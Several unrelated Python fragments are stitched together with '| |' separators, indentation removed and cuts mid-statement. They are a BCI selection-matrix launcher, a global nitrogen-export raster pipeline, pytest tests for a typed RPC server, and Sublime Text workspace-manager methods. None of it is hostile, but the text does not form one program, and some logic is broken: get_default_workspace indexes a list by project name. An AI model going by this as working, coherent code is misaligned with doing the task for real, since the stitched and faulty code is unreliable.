calibration_args (dict, optional): additional keyword arguments to pass to `noisetag.startCalibration`. Defaults to None.
prediction_args (dict, optional): additional keyword arguments to pass to `noisetag.startPrediction`. Defaults to None.
"""
global nt, ss, window
# N.B. init the noise-tag first, so asks for the IP
if stimfile is None:
stimfile = 'mgold_61_6521_psk_60hz.txt'
if fullscreen is None and windowed is not None:
fullscreen = not windowed
if windowed == True or fullscreen == True:
fullscreen_stimulus = False
nt=Noisetag(stimFile=stimfile,clientid='Presentation:selectionMatrix')
if host is not None and not host in ('','-'):
nt.connect(host, queryifhostnotfound=False)
# init the graphics system
window = initPyglet(fullscreen=fullscreen)
# the logical arrangement of the display matrix
if symbols is None:
symbols=[['a', 'b', 'c', 'd', 'e'],
['f', 'g', 'h', 'i', 'j'],
['k', 'l', 'm', 'n', 'o'],
['p', 'q', 'r', 's', 't'],
['u', 'v', 'w', 'x', '<-']]
# different calibration symbols if wanted
if calibration_symbols is None:
calibration_symbols = symbols
# make the screen manager object which manages the app state
ss = ExptScreenManager(window, nt, symbols, nCal=ncal, nPred=npred, framesperbit=framesperbit,
fullscreen_stimulus=fullscreen_stimulus, selectionThreshold=selectionThreshold,
optosensor=optosensor, simple_calibration=True, calibration_symbols=calibration_symbols,
extra_symbols=extra_symbols,
bgFraction=bgFraction,
calibration_args=calibration_args, calibration_trialduration=calibration_trialduration,
prediction_args=prediction_args, prediction_trialduration=prediction_trialduration, feedbackduration=feedbackduration)
run_screen(ss,drawrate)
def parse_args():
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('ncal',type=int, help='number calibration trials', nargs='?', default=10)
parser.add_argument('npred',type=int, help='number prediction trials', nargs='?', default=10)
parser.add_argument('--host',type=str, help='address (IP) of the | |
'exist: ')
if len(workspace_list) < 100 and payload is not None:
continue
worker_list = []
for target_stitch_raster_path, raster_list in [
(stitch_export_raster_path, export_raster_list),
(stitch_modified_load_raster_path,
modified_load_raster_list)]:
stitch_worker = threading.Thread(
target=pygeoprocessing.stitch_rasters,
args=(
raster_list,
['near']*len(raster_list),
(target_stitch_raster_path, 1)),
kwargs={
'overlap_algorithm': 'etch',
'area_weight_m2_to_wgs84': True})
stitch_worker.start()
worker_list.append((stitch_worker, raster_list))
for worker, raster_list in worker_list:
LOGGER.debug(f'waiting for this raster list to stitch: {raster_list}')
worker.join()
LOGGER.debug(f'done on that last stitch')
if remove_workspaces:
LOGGER.debug(f'removing {len(workspace_list)} workspaces')
for workspace_dir in workspace_list:
shutil.rmtree(workspace_dir)
export_raster_list = []
modified_load_raster_list = []
workspace_list = []
watershed_process_count = collections.defaultdict(int)
_set_work_status(
WORK_STATUS_DATABASE_PATH,
status_update_list)
status_update_list = []
if payload is None:
stitch_queue.put(None)
break
if payload is None and remove_workspaces is not None:
# all done, time to build overview and compress
LOGGER.debug(
f'building overviews and compressing results '
f'for {stitch_export_raster_path} and '
f'{stitch_modified_load_raster_path}')
build_overview_thread_list = []
for base_raster_path in [
stitch_export_raster_path,
stitch_modified_load_raster_path]:
upsample_raster_path = os.path.join(
WORKSPACE_DIR,
f'upsample_{os.path.basename(base_raster_path)}')
compressed_raster_path = os.path.join(
WORKSPACE_DIR,
f'compressed_{os.path.basename(base_raster_path)}')
build_overview_process = threading.Thread(
target=upsample_compress_and_overview,
args=(
base_raster_path, upsample_raster_path,
compressed_raster_path))
build_overview_process.start()
build_overview_thread_list.append(build_overview_process)
LOGGER.debug('joining the build overview threads')
for process in build_overview_thread_list:
process.join()
LOGGER.debug(f'all done stitching for {scenario_id}')
except Exception:
LOGGER.exception(
f'something bad happened on ndr stitcher for {scenario_id}')
raise
def _create_watershed_id(watershed_path, watershed_fid):
"""Create unique ID from path and FID."""
watershed_basename = os.path.basename(os.path.splitext(watershed_path)[0])
return (watershed_basename, f'{watershed_basename}_{watershed_fid}')
def _split_watershed_id(watershed_id):
"""Split into watershed basename and fid."""
basename, fid = re.match(r'^(.*)_(\d*)$', watershed_id).groups()
return (basename, int(fid))
def ndr_plus_and_stitch(
scenario_id,
watershed_path, watershed_fid,
target_cell_length_m,
retention_length_m,
k_val,
flow_threshold,
max_pixel_fill_count,
routing_algorithm,
dem_path,
lulc_path,
precip_path,
custom_load_path,
eff_n_lucode_map,
load_n_lucode_map,
target_export_raster_path,
target_modified_load_raster_path,
workspace_dir,
stitch_queue):
"""Invoke ``inspring.ndr_plus`` with stitch.
Same parameter list as ``inspring.ndr_plus`` with additional args:
stitch_queue (queue): places export, load, and workspace path here to
stitch globally and delete the workspace when complete.
Return:
``None``
"""
try:
watershed_basename, watershed_id = _create_watershed_id(watershed_path, watershed_fid)
LOGGER.debug(f'{watershed_id} about to be run')
ndr_plus(
watershed_path,
watershed_fid,
target_cell_length_m,
retention_length_m,
k_val,
flow_threshold,
max_pixel_fill_count,
routing_algorithm,
dem_path,
lulc_path,
precip_path,
custom_load_path,
eff_n_lucode_map,
load_n_lucode_map,
target_export_raster_path,
target_modified_load_raster_path,
workspace_dir)
LOGGER.debug(f'{watershed_id} is done')
_set_work_status(
WORK_STATUS_DATABASE_PATH,
[(COMPUTED_STATUS, scenario_id, watershed_id)])
stitch_queue.put(
(target_export_raster_path, target_modified_load_raster_path,
workspace_dir, watershed_basename, watershed_id))
except Exception as e:
LOGGER.exception(
f'this exception happened on {watershed_path} {watershed_fid}, '
f'skipping and logging the error in the database.')
_set_work_status(
WORK_STATUS_DATABASE_PATH,
[(f'exception happened: {e}', scenario_id, watershed_id)])
def load_biophysical_table(biophysical_table_path, lulc_field_id):
"""Dump the biophysical table to two dictionaries indexable by lulc.
Args:
biophysical_table_path (str): biophysical table that indexes lulc
codes to 'eff_n' and 'load_n' values. These value can have
the field 'use raster' in which case they will be replaced with
a custom raster layer for the lulc code.
lulc_field_id (str): this is the name of the field that references
the lulc id.
Return:
A tuple of:
* eff_n_lucode_map: index lulc to nitrogen efficiency
* load_n_lucode_map: index lulc to base n load
"""
biophysical_table = pandas.read_csv(biophysical_table_path)
# clean up biophysical table
biophysical_table = biophysical_table.fillna(0)
biophysical_table.loc[
biophysical_table['load_n'] == 'use raster', 'load_n'] = (
USE_AG_LOAD_ID)
biophysical_table['load_n'] = biophysical_table['load_n'].apply(
pandas.to_numeric)
eff_n_lucode_map = dict(
zip(biophysical_table[lulc_field_id], biophysical_table['eff_n']))
load_n_lucode_map = dict(
zip(biophysical_table[lulc_field_id], biophysical_table['load_n']))
return eff_n_lucode_map, load_n_lucode_map
def unzip(zipfile_path, target_unzip_dir):
"""Unzip zip to target_dir."""
LOGGER.info(f'unzip {zipfile_path} to {target_unzip_dir}')
os.makedirs(target_unzip_dir, exist_ok=True)
with zipfile.ZipFile(zipfile_path, 'r') as zip_ref:
zip_ref.extractall(target_unzip_dir)
def unzip_and_build_dem_vrt(
zipfile_path, target_unzip_dir, expected_tiles_zip_path,
target_vrt_path):
"""Build VRT of given tiles.
Args:
zipfile_path (str): source zip file to extract.
target_unzip_dir (str): desired directory in which to extract
the zipfile.
expected_tiles_zip_path (str): the expected directory to find the
geotiff tiles after the zipfile has been extracted to
``target_unzip_dir``.
target_vrt_path (str): path to desired VRT file of those files.
Return:
``None``
"""
unzip(zipfile_path, target_unzip_dir)
LOGGER.info('build vrt')
subprocess.run(
f'gdalbuildvrt {target_vrt_path} {expected_tiles_zip_path}/*.tif',
shell=True)
LOGGER.info(f'all done building {target_vrt_path}')
def _report_watershed_count():
try:
start_time = time.time()
count_to_process_sql = '''
SELECT count(1) FROM work_status
WHERE status!=?'''
original_watershed_to_process_count = _execute_sqlite(
count_to_process_sql, WORK_STATUS_DATABASE_PATH,
fetch='one', argument_list=[COMPLETE_STATUS])[0]
sleep_time = 15.0
while True:
time.sleep(sleep_time)
current_remaining_to_process = _execute_sqlite(
count_to_process_sql, WORK_STATUS_DATABASE_PATH,
argument_list=[COMPLETE_STATUS], fetch='one')[0]
watersheds_processed_so_far = (
original_watershed_to_process_count - current_remaining_to_process)
seconds_so_far = time.time() - start_time
n_processed_per_sec = watersheds_processed_so_far / seconds_so_far
if n_processed_per_sec > 0:
seconds_left = current_remaining_to_process / n_processed_per_sec
else:
seconds_left = 99999999999
hours_left = int(seconds_left // 3600)
seconds_left -= hours_left * 3600
minutes_left = int(seconds_left // 60)
seconds_left -= minutes_left * 60
hours_so_far = int(seconds_so_far // 3600)
seconds_so_far -= hours_so_far * 3600
minutes_so_far = int(seconds_so_far // 60)
seconds_so_far -= minutes_so_far * 60
REPORT_WATERSHED_LOGGER.info(
f'\n******\ntotal left: {current_remaining_to_process}'
f'\ntotal completed: {original_watershed_to_process_count-current_remaining_to_process}' +
f'\ntime left: {hours_left}:{minutes_left:02d}:{seconds_left:04.1f}' +
f'\ntime so far: {hours_so_far}:{minutes_so_far:02d}:{seconds_so_far:04.1f}')
except Exception:
REPORT_WATERSHED_LOGGER.exception('something bad happened')
raise
def main():
"""Entry point."""
parser = argparse.ArgumentParser(description='Run CBD data pipeline')
parser.add_argument(
'scenario_module_name', nargs='+', help='scenario module(s) to load.')
parser.add_argument(
'--n_workers', type=int, default=multiprocessing.cpu_count(),
help='number of workers for Taskgraph.')
parser.add_argument(
'--watersheds', type=str, nargs='+',
help='comma separated list of watershed-basename,fid to simulate')
parser.add_argument(
'--limit_to_scenarios', type=str, nargs='+',
help='list the scenario keys which this run should only do.')
args = parser.parse_args()
for scenario_module_name in args.scenario_module_name:
scenario_module = importlib.import_module(scenario_module_name)
LOGGER.debug(f'updating ECOSHARDS with {scenario_module.ECOSHARDS}')
ECOSHARDS.update(scenario_module.ECOSHARDS)
LOGGER.debug(f'updating BIOPHYSICAL_TABLE_IDS with {scenario_module.BIOPHYSICAL_TABLE_IDS}')
BIOPHYSICAL_TABLE_IDS.update(scenario_module.BIOPHYSICAL_TABLE_IDS)
LOGGER.debug(f'updating SCENARIOS with {scenario_module.SCENARIOS}')
if args.limit_to_scenarios:
SCENARIOS.update(
{key: value for key, value in
scenario_module.SCENARIOS.items()
if key in args.limit_to_scenarios})
else:
SCENARIOS.update(scenario_module.SCENARIOS)
LOGGER.debug(f'updating SCRUB_IDS with {scenario_module.SCRUB_IDS}')
SCRUB_IDS.update(scenario_module.SCRUB_IDS)
LOGGER.debug('starting script')
os.makedirs(WORKSPACE_DIR, exist_ok=True)
if not os.path.exists(WORK_STATUS_DATABASE_PATH):
_create_work_table_schema(WORK_STATUS_DATABASE_PATH)
task_graph = taskgraph.TaskGraph(
WORKSPACE_DIR, args.n_workers)
os.makedirs(ECOSHARD_DIR, exist_ok=True)
ecoshard_path_map = {}
LOGGER.info('scheduling downloads')
LOGGER.debug('starting downloads')
for ecoshard_id, ecoshard_url in ECOSHARDS.items():
ecoshard_basename = os.path.basename(ecoshard_url)
cached_ecoshard_path = os.path.join(LOCAL_ECOSHARD_CACHE_DIR,
ecoshard_basename)
# If the ecoshard path is local and where we expect, just use that.
if os.path.exists(ecoshard_url):
LOGGER.info(f'Using local ecoshard {ecoshard_url}')
fetch_func = shutil.copyfile
source_ecoshard_path = ecoshard_url
# If the ecoshard doesn't exist at the path we expect, check the cache.
elif os.path.exists(cached_ecoshard_path):
LOGGER.info(f'Copying ecoshard from cache {ecoshard_url}')
fetch_func = shutil.copyfile
source_ecoshard_path = cached_ecoshard_path
# Otherwise, download the ecoshard.
else:
LOGGER.info(f'Downloading ecoshard {ecoshard_url}')
fetch_func = ecoshard.download_url
source_ecoshard_path = ecoshard_url
target_ecoshard_path = os.path.join(ECOSHARD_DIR, ecoshard_basename)
fetch_task = task_graph.add_task(
func=fetch_func,
args=(source_ecoshard_path, target_ecoshard_path),
target_path_list=[target_ecoshard_path])
ecoshard_path_map[ecoshard_id] = target_ecoshard_path
LOGGER.info('waiting for downloads to finish')
task_graph.join()
# global DEM that's used
task_graph.add_task(
func=unzip_and_build_dem_vrt,
args=(
ecoshard_path_map[DEM_ID], ECOSHARD_DIR, DEM_TILE_DIR,
DEM_VRT_PATH),
target_path_list=[DEM_VRT_PATH],
task_name='build DEM vrt')
watershed_dir = os.path.join(
ECOSHARD_DIR, 'watersheds_globe_HydroSHEDS_15arcseconds')
expected_watershed_path = os.path.join(
watershed_dir, 'af_bas_15s_beta.shp')
task_graph.add_task(
func=unzip,
args=(ecoshard_path_map[WATERSHED_ID], ECOSHARD_DIR),
target_path_list=[expected_watershed_path],
task_name='unzip watersheds')
LOGGER.debug('waiting for downloads and data to construct')
task_graph.join()
invalid_value_task_list = []
LOGGER.debug('scheduling scrub of requested data')
os.makedirs(SCRUB_DIR, exist_ok=True)
for ecoshard_id_to_scrub in SCRUB_IDS:
ecoshard_path = ecoshard_path_map[ecoshard_id_to_scrub]
scrub_path = os.path.join(SCRUB_DIR, os.path.basename(ecoshard_path))
task_graph.add_task(
func=scrub_raster,
args=(ecoshard_path, scrub_path),
kwargs={
'target_nodata': float(numpy.finfo(numpy.float32).min),
},
target_path_list=[scrub_path],
task_name=f'scrub {ecoshard_path}')
ecoshard_path_map[ecoshard_id_to_scrub] = scrub_path
LOGGER.debug('wait for scrubbing to end')
task_graph.join()
LOGGER.debug('done with scrub, check for dirty rasters')
checked_path_set = set() # could have different id but same raster
for ecoshard_id, ecoshard_path in ecoshard_path_map.items():
if ecoshard_path in checked_path_set:
continue
if (pygeoprocessing.get_gis_type(ecoshard_path) ==
pygeoprocessing.RASTER_TYPE):
LOGGER.debug(f'checking {ecoshard_id} {ecoshard_path}')
invalid_value_task = task_graph.add_task(
func=detect_invalid_values,
args=(ecoshard_path,),
store_result=True,
task_name=f'detect invalid values in {ecoshard_path}')
invalid_value_task_list.append(
(ecoshard_id, invalid_value_task))
checked_path_set.add(ecoshard_path)
invalid_raster_list = []
for ecoshard_id, invalid_value_task in invalid_value_task_list:
invalid_value_result = invalid_value_task.get()
if invalid_value_result is not True:
invalid_raster_list.append(
(ecoshard_id, invalid_value_result))
if invalid_raster_list:
raise ValueError(
f'invalid rasters at ' +
'\n'.join([str(x) for x in invalid_raster_list]))
LOGGER.debug('schedule watershed work')
watershed_path_from_base = {}
for watershed_path in glob.glob(os.path.join(watershed_dir, '*.shp')):
watershed_basename = os.path.basename(
os.path.splitext(watershed_path)[0])
watershed_path_from_base[watershed_basename] = watershed_path
watershed_vector = gdal.OpenEx(watershed_path, gdal.OF_VECTOR)
watershed_layer = watershed_vector.GetLayer()
local_watershed_process_list = [
(_create_watershed_id(
watershed_path, watershed_feature.GetFID())[1],
watershed_feature.GetGeometryRef().Area())
for watershed_feature in watershed_layer
if watershed_feature.GetGeometryRef().Area() >
AREA_DEG_THRESHOLD]
# The IGNORE is if it's already in there, keep the status as whatever
schedule_watershed_sql = '''
INSERT OR IGNORE INTO
work_status(
scenario_id, watershed_id, watershed_area, status)
VALUES(?, ?, ?, ?);
'''
for scenario_id in SCENARIOS:
# schedule all the watersheds that are large enough per scenario
# for this particular watershed path
argument_list = [
(scenario_id, watershed_id, watershed_area,
SCHEDULED_STATUS) for (watershed_id, watershed_area)
in local_watershed_process_list]
_execute_sqlite(
schedule_watershed_sql, WORK_STATUS_DATABASE_PATH,
argument_list=argument_list,
mode='modify', execute='executemany')
watershed_layer = None
watershed_vector = None
LOGGER.info(f'starting watershed status logger')
report_watershed_thread = threading.Thread(
target=_report_watershed_count)
report_watershed_thread.daemon = True
report_watershed_thread.start()
manager = multiprocessing.Manager()
stitch_worker_list = []
stitch_queue_list = []
target_raster_list = []
for scenario_id, scenario_vars in SCENARIOS.items():
eff_n_lucode_map, load_n_lucode_map = load_biophysical_table(
ecoshard_path_map[scenario_vars['biophysical_table_id']],
BIOPHYSICAL_TABLE_IDS[scenario_vars['biophysical_table_id']])
# make a stitcher for this scenario for export and modified load
stitch_queue = manager.Queue()
stitch_queue_list.append(stitch_queue)
target_export_raster_path = os.path.join(
WORKSPACE_DIR, f'{scenario_id}_{TARGET_CELL_LENGTH_M:.1f}_{ROUTING_ALGORITHM}_export.tif')
target_modified_load_raster_path = os.path.join(
WORKSPACE_DIR, f'{scenario_id}_{TARGET_CELL_LENGTH_M:.1f}_{ROUTING_ALGORITHM}_modified_load.tif')
# create the empty rasters if they don't exist
if not os.path.exists(target_export_raster_path):
create_empty_wgs84_raster(
BASE_WGS84_LENGTH_DEG, -1, target_export_raster_path)
if not os.path.exists(target_modified_load_raster_path):
create_empty_wgs84_raster(
BASE_WGS84_LENGTH_DEG, -1, target_modified_load_raster_path)
target_raster_list.extend(
[target_export_raster_path, target_modified_load_raster_path])
stitch_worker_thread = threading.Thread(
target=stitch_worker,
args=(
scenario_id, target_export_raster_path,
target_modified_load_raster_path, stitch_queue,
args.watersheds is None))
stitch_worker_thread.start()
stitch_worker_list.append(stitch_worker_thread)
watersheds_to_process_query = '''
SELECT watershed_id FROM work_status
WHERE scenario_id=? AND status!=?
ORDER | |
response.code == 200
assert "data" in response.result
assert response.result["data"] is None
assert "metadata" in response.result
assert "warnings" in response.result["metadata"]
assert "error1" in response.result["metadata"]["warnings"]
@pytest.mark.asyncio
async def test_invalid_handler():
"""
Handlers should be async
"""
with pytest.raises(ValueError):
class ProjectServer(ServerSlice):
@protocol.method(path="/test", operation="POST", client_types=["api"])
def test_method(self):
"""
Create a new project
"""
@protocol.handle(test_method)
def test_method(self):
return
@pytest.mark.asyncio
async def test_return_value(unused_tcp_port, postgres_db, database_name, async_finalizer):
"""
Test the use and validation of methods that use common.ReturnValue
"""
configure(unused_tcp_port, database_name, postgres_db.port)
class Project(BaseModel):
id: uuid.UUID
name: str
class ProjectServer(ServerSlice):
@protocol.method(path="/test", operation="POST", client_types=["api"])
def test_method(project: Project) -> ReturnValue[Project]: # NOQA
"""
Create a new project
"""
@protocol.handle(test_method)
async def test_method(self, project: Project) -> ReturnValue[Project]:
new_project = project.copy()
return ReturnValue(response=new_project)
rs = Server()
server = ProjectServer(name="projectserver")
rs.add_slice(server)
await rs.start()
async_finalizer.add(server.stop)
async_finalizer.add(rs.stop)
client = protocol.Client("client")
result = await client.test_method({"name": "test", "id": str(uuid.uuid4())})
assert result.code == 200
assert "id" in result.result
assert "name" in result.result
@pytest.mark.asyncio
async def test_return_model(unused_tcp_port, postgres_db, database_name, async_finalizer):
"""
Test the use and validation of methods that use common.ReturnValue
"""
configure(unused_tcp_port, database_name, postgres_db.port)
class Project(BaseModel):
id: uuid.UUID
name: str
class ProjectServer(ServerSlice):
@protocol.method(path="/test", operation="POST", client_types=["api"])
def test_method(project: Project) -> Project: # NOQA
"""
Create a new project
"""
@protocol.method(path="/test2", operation="POST", client_types=["api"])
def test_method2(project: Project) -> None: # NOQA
pass
@protocol.method(path="/test3", operation="POST", client_types=["api"])
def test_method3(project: Project) -> None: # NOQA
pass
@protocol.handle(test_method)
async def test_method(self, project: Project) -> Project:
new_project = project.copy()
return new_project
@protocol.handle(test_method2)
async def test_method2(self, project: Project) -> None:
pass
@protocol.handle(test_method3)
async def test_method3(self, project: Project) -> None:
return 1
rs = Server()
server = ProjectServer(name="projectserver")
rs.add_slice(server)
await rs.start()
async_finalizer.add(server.stop)
async_finalizer.add(rs.stop)
client = protocol.Client("client")
result = await client.test_method({"name": "test", "id": str(uuid.uuid4())})
assert result.code == 200
assert "id" in result.result
assert "name" in result.result
result = await client.test_method2({"name": "test", "id": str(uuid.uuid4())})
assert result.code == 200
result = await client.test_method3({"name": "test", "id": str(uuid.uuid4())})
assert result.code == 500
@pytest.mark.asyncio
async def test_data_envelope(unused_tcp_port, postgres_db, database_name, async_finalizer):
"""
Test the use and validation of methods that use common.ReturnValue
"""
configure(unused_tcp_port, database_name, postgres_db.port)
class Project(BaseModel):
id: uuid.UUID
name: str
class ProjectServer(ServerSlice):
@protocol.typedmethod(path="/test", operation="POST", client_types=["api"])
def test_method(project: Project) -> ReturnValue[Project]: # NOQA
pass
@protocol.handle(test_method)
async def test_method(self, project: Project) -> ReturnValue[Project]:
new_project = project.copy()
return ReturnValue(response=new_project)
@protocol.typedmethod(path="/test2", operation="POST", client_types=["api"], envelope_key="method")
def test_method2(project: Project) -> ReturnValue[Project]: # NOQA
pass
@protocol.handle(test_method2)
async def test_method2(self, project: Project) -> ReturnValue[Project]:
new_project = project.copy()
return ReturnValue(response=new_project)
@protocol.method(path="/test3", operation="POST", client_types=["api"], envelope=True)
def test_method3(project: Project): # NOQA
pass
@protocol.handle(test_method3)
async def test_method3(self, project: dict) -> Apireturn:
return 200, {"id": 1, "name": 2}
@protocol.method(path="/test4", operation="POST", client_types=["api"], envelope=True, envelope_key="project")
def test_method4(project: Project): # NOQA
pass
@protocol.handle(test_method4)
async def test_method4(self, project: dict) -> Apireturn:
return 200, {"id": 1, "name": 2}
rs = Server()
server = ProjectServer(name="projectserver")
rs.add_slice(server)
await rs.start()
async_finalizer.add(server.stop)
async_finalizer.add(rs.stop)
client = protocol.Client("client")
# 1
result = await client.test_method({"name": "test", "id": str(uuid.uuid4())})
assert result.code == 200
assert "data" in result.result
assert "id" in result.result["data"]
assert "name" in result.result["data"]
# 2
result = await client.test_method2({"name": "test", "id": str(uuid.uuid4())})
assert result.code == 200
assert "method" in result.result
assert "id" in result.result["method"]
assert "name" in result.result["method"]
# 3
result = await client.test_method3({"name": "test", "id": str(uuid.uuid4())})
assert result.code == 200
assert "data" in result.result
assert "id" in result.result["data"]
assert "name" in result.result["data"]
# 4
result = await client.test_method4({"name": "test", "id": str(uuid.uuid4())})
assert result.code == 200
assert "project" in result.result
assert "id" in result.result["project"]
assert "name" in result.result["project"]
@pytest.mark.asyncio
async def test_invalid_paths():
"""
Test path validation
"""
with pytest.raises(InvalidPathException) as e:
@protocol.method(path="test", operation="PUT", client_types=["api"], api_prefix="x", api_version=2)
def test_method(name):
pass
assert "test should start with a /" == str(e.value)
with pytest.raises(InvalidPathException) as e:
@protocol.method(path="/test/<othername>", operation="PUT", client_types=["api"], api_prefix="x", api_version=2)
def test_method2(name):
pass
assert str(e.value).startswith("Variable othername in path /test/<othername> is not defined in function")
@pytest.mark.asyncio
async def test_nested_paths(unused_tcp_port, postgres_db, database_name, async_finalizer):
"""Test overlapping path definition"""
configure(unused_tcp_port, database_name, postgres_db.port)
class Project(BaseModel):
name: str
class ProjectServer(ServerSlice):
@protocol.typedmethod(path="/test/<data>", operation="GET", client_types=["api"])
def test_method(data: str) -> Project: # NOQA
pass
@protocol.typedmethod(path="/test/<data>/config", operation="GET", client_types=["api"])
def test_method2(data: str) -> Project: # NOQA
pass
@protocol.handle(test_method)
async def test_method(self, data: str) -> Project:
# verify that URL encoded data is properly decoded
assert "%20" not in data
return Project(name="test_method")
@protocol.handle(test_method2)
async def test_method2(self, data: str) -> Project:
return Project(name="test_method2")
rs = Server()
server = ProjectServer(name="projectserver")
rs.add_slice(server)
await rs.start()
async_finalizer.add(server.stop)
async_finalizer.add(rs.stop)
client = protocol.Client("client")
result = await client.test_method({"data": "test "})
assert result.code == 200
assert "test_method" == result.result["data"]["name"]
client = protocol.Client("client")
result = await client.test_method2({"data": "test"})
assert result.code == 200
assert "test_method2" == result.result["data"]["name"]
@pytest.mark.asyncio
async def test_list_basemodel_argument(unused_tcp_port, postgres_db, database_name, async_finalizer):
"""Test list of basemodel arguments and primitive types"""
configure(unused_tcp_port, database_name, postgres_db.port)
class Project(BaseModel):
name: str
class ProjectServer(ServerSlice):
@protocol.typedmethod(path="/test", operation="POST", client_types=["api"])
def test_method(data: List[Project], data2: List[int]) -> Project: # NOQA
pass
@protocol.handle(test_method)
async def test_method(self, data: List[Project], data2: List[int]) -> Project:
assert len(data) == 1
assert data[0].name == "test"
assert len(data2) == 3
return Project(name="test_method")
rs = Server()
server = ProjectServer(name="projectserver")
rs.add_slice(server)
await rs.start()
async_finalizer.add(server.stop)
async_finalizer.add(rs.stop)
client = protocol.Client("client")
result = await client.test_method(data=[{"name": "test"}], data2=[1, 2, 3])
assert result.code == 200
assert "test_method" == result.result["data"]["name"]
@pytest.mark.asyncio
async def test_dict_basemodel_argument(unused_tcp_port, postgres_db, database_name, async_finalizer):
"""Test dict of basemodel arguments and primitive types"""
configure(unused_tcp_port, database_name, postgres_db.port)
class Project(BaseModel):
name: str
class ProjectServer(ServerSlice):
@protocol.typedmethod(path="/test", operation="POST", client_types=["api"])
def test_method(data: Dict[str, Project], data2: Dict[str, int]) -> Project: # NOQA
pass
@protocol.handle(test_method)
async def test_method(self, data: Dict[str, Project], data2: Dict[str, int]) -> Project:
assert len(data) == 1
assert data["projectA"].name == "test"
assert len(data2) == 3
return Project(name="test_method")
rs = Server()
server = ProjectServer(name="projectserver")
rs.add_slice(server)
await rs.start()
async_finalizer.add(server.stop)
async_finalizer.add(rs.stop)
client = protocol.Client("client")
result = await client.test_method(data={"projectA": {"name": "test"}}, data2={"1": 1, "2": 2, "3": 3})
assert result.code == 200
assert "test_method" == result.result["data"]["name"]
@pytest.mark.asyncio
async def test_dict_with_optional_values(unused_tcp_port, postgres_db, database_name, async_finalizer):
"""Test dict which may have None as a value"""
configure(unused_tcp_port, database_name, postgres_db.port)
types = Union[pydantic.StrictInt, pydantic.StrictStr]
class Result(BaseModel):
val: Optional[types]
class ProjectServer(ServerSlice):
@protocol.typedmethod(path="/test", operation="POST", client_types=["api"])
def test_method(data: Dict[str, Optional[types]]) -> Result: # NOQA
pass
@protocol.handle(test_method)
async def test_method(self, data: Dict[str, Optional[types]]) -> Result:
assert len(data) == 1
assert "test" in data
return Result(val=data["test"])
@protocol.typedmethod(path="/test", operation="GET", client_types=["api"])
def test_method2(data: Optional[str] = None) -> None: # NOQA
pass
@protocol.handle(test_method2)
async def test_method2(self, data: Optional[str] = None) -> None:
assert data is None
rs = Server()
server = ProjectServer(name="projectserver")
rs.add_slice(server)
await rs.start()
async_finalizer.add(server.stop)
async_finalizer.add(rs.stop)
client = protocol.Client("client")
result = await client.test_method(data={"test": None})
assert result.code == 200
assert result.result["data"]["val"] is None
result = await client.test_method(data={"test": 5})
assert result.code == 200
assert result.result["data"]["val"] == 5
result = await client.test_method(data={"test": "test123"})
assert result.code == 200
assert result.result["data"]["val"] == "test123"
result = await client.test_method2()
assert result.code == 200
result = await client.test_method2(data=None)
assert result.code == 200
@pytest.mark.asyncio
async def test_dict_and_list_return(unused_tcp_port, postgres_db, database_name, async_finalizer):
"""Test list of basemodel arguments"""
configure(unused_tcp_port, database_name, postgres_db.port)
class Project(BaseModel):
name: str
class ProjectServer(ServerSlice):
@protocol.typedmethod(path="/test", operation="POST", client_types=["api"])
def test_method(data: Project) -> List[Project]: # NOQA
pass
@protocol.handle(test_method)
async def test_method(self, data: Project) -> List[Project]: # NOQA
return [Project(name="test_method")]
@protocol.typedmethod(path="/test2", operation="POST", client_types=["api"])
def test_method2(data: Project) -> List[str]: # NOQA
pass
@protocol.handle(test_method2)
async def test_method2(self, data: Project) -> List[str]: # NOQA
return ["test_method"]
rs = Server()
server = ProjectServer(name="projectserver")
rs.add_slice(server)
await rs.start()
async_finalizer.add(server.stop)
async_finalizer.add(rs.stop)
client = protocol.Client("client")
result = await client.test_method(data={"name": "test"})
assert result.code == 200
assert len(result.result["data"]) == 1
assert "test_method" == result.result["data"][0]["name"]
result = await client.test_method2(data={"name": "test"})
assert result.code == 200
assert len(result.result["data"]) == 1
assert "test_method" == result.result["data"][0]
@pytest.mark.asyncio
async def test_method_definition():
"""
Test typed methods with wrong annotations
"""
with pytest.raises(InvalidMethodDefinition) as e:
@protocol.typedmethod(path="/test", operation="PUT", client_types=["api"])
def test_method1(name) -> None:
"""
Create a new project
"""
assert "has no type annotation." in str(e.value)
with pytest.raises(InvalidMethodDefinition) as e:
@protocol.typedmethod(path="/test", operation="PUT", client_types=["api"])
def test_method2(name: Iterator[str]) -> None:
"""
Create a new project
"""
assert "Type typing.Iterator[str] of argument name can only be generic List or Dict" in str(e.value)
with pytest.raises(InvalidMethodDefinition) as e:
@protocol.typedmethod(path="/test", operation="PUT", client_types=["api"])
def test_method3(name: List[object]) -> None:
"""
Create a new project
"""
assert (
"Type object of argument name must be a either BaseModel, Enum, UUID, str, float, int, StrictNonIntBool, datetime, "
"bytes or a List of these types or a Dict with str keys and values of these types."
) in | |
None
def can_switch_workspaces(self):
"""Check if a project is opened in the current window and if it has more than
one workspace
Returns:
bool: whether a project with more than one workspace is currently opened
"""
if self.curr_pname not in self.projects_info.info():
return False
info = copy.deepcopy(self.projects_info.info())
self.mark_open_projects(info)
pinfo = info[self.curr_pname]
return ("star" in pinfo and len(pinfo["workspaces"]) > 1)
def nb_workspaces(self, project):
"""Returns the number of workspaces a given project has saved
Args:
project: str
The name of the project for which to count workspaces
"""
if project in self.projects_info.info():
return len(self.projects_info.info()[project]['workspaces'])
return 0
def get_default_workspace(self, project):
"""Get the default workspace of a project
In order, given a project "Example" the default workspace is:
- the one with the same name as the project, i.e. Example.sublime-workspace
- the one opened the most recently
- the first one which exists, in alphabetical order
Args:
project: str
The name of the project
Returns:
str: the path of the default workspace file
"""
# Load workspaces and sort them alphabetically
workspaces = self.projects_info.info()[project]['workspaces']
workspaces.sort(key=lambda wfile: os.path.basename(wfile))
# If one of the workspace has default name, return it
for workspace in workspaces:
wname = os.path.basename(re.sub(r'\.sublime-workspace$', '', workspace))
if wname == project:
return workspace
# Else, try to get the most recent
recent_file = os.path.join(self.projects_info.primary_dir(), 'recent.json')
if not os.path.exists(recent_file):
return workspaces[0]
j = JsonFile(recent_file)
recent = j.load([])
if project not in [pw['project'] for pw in recent]:
return workspaces[0]
else:
return recent[project]["workspaces"][-1]
def is_workspace_open(self, ws_file):
if sublime.version() < '4050':
return False
open_workspaces = [
os.path.realpath(w.workspace_file_name())
for w in sublime.windows() if w.workspace_file_name()]
return ws_file in open_workspaces
def display_projects(self):
info = copy.deepcopy(self.projects_info.info())
self.mark_open_projects(info)
plist = list(map(self.render_display_item, info.items()))
plist.sort(key=lambda p: p[0])
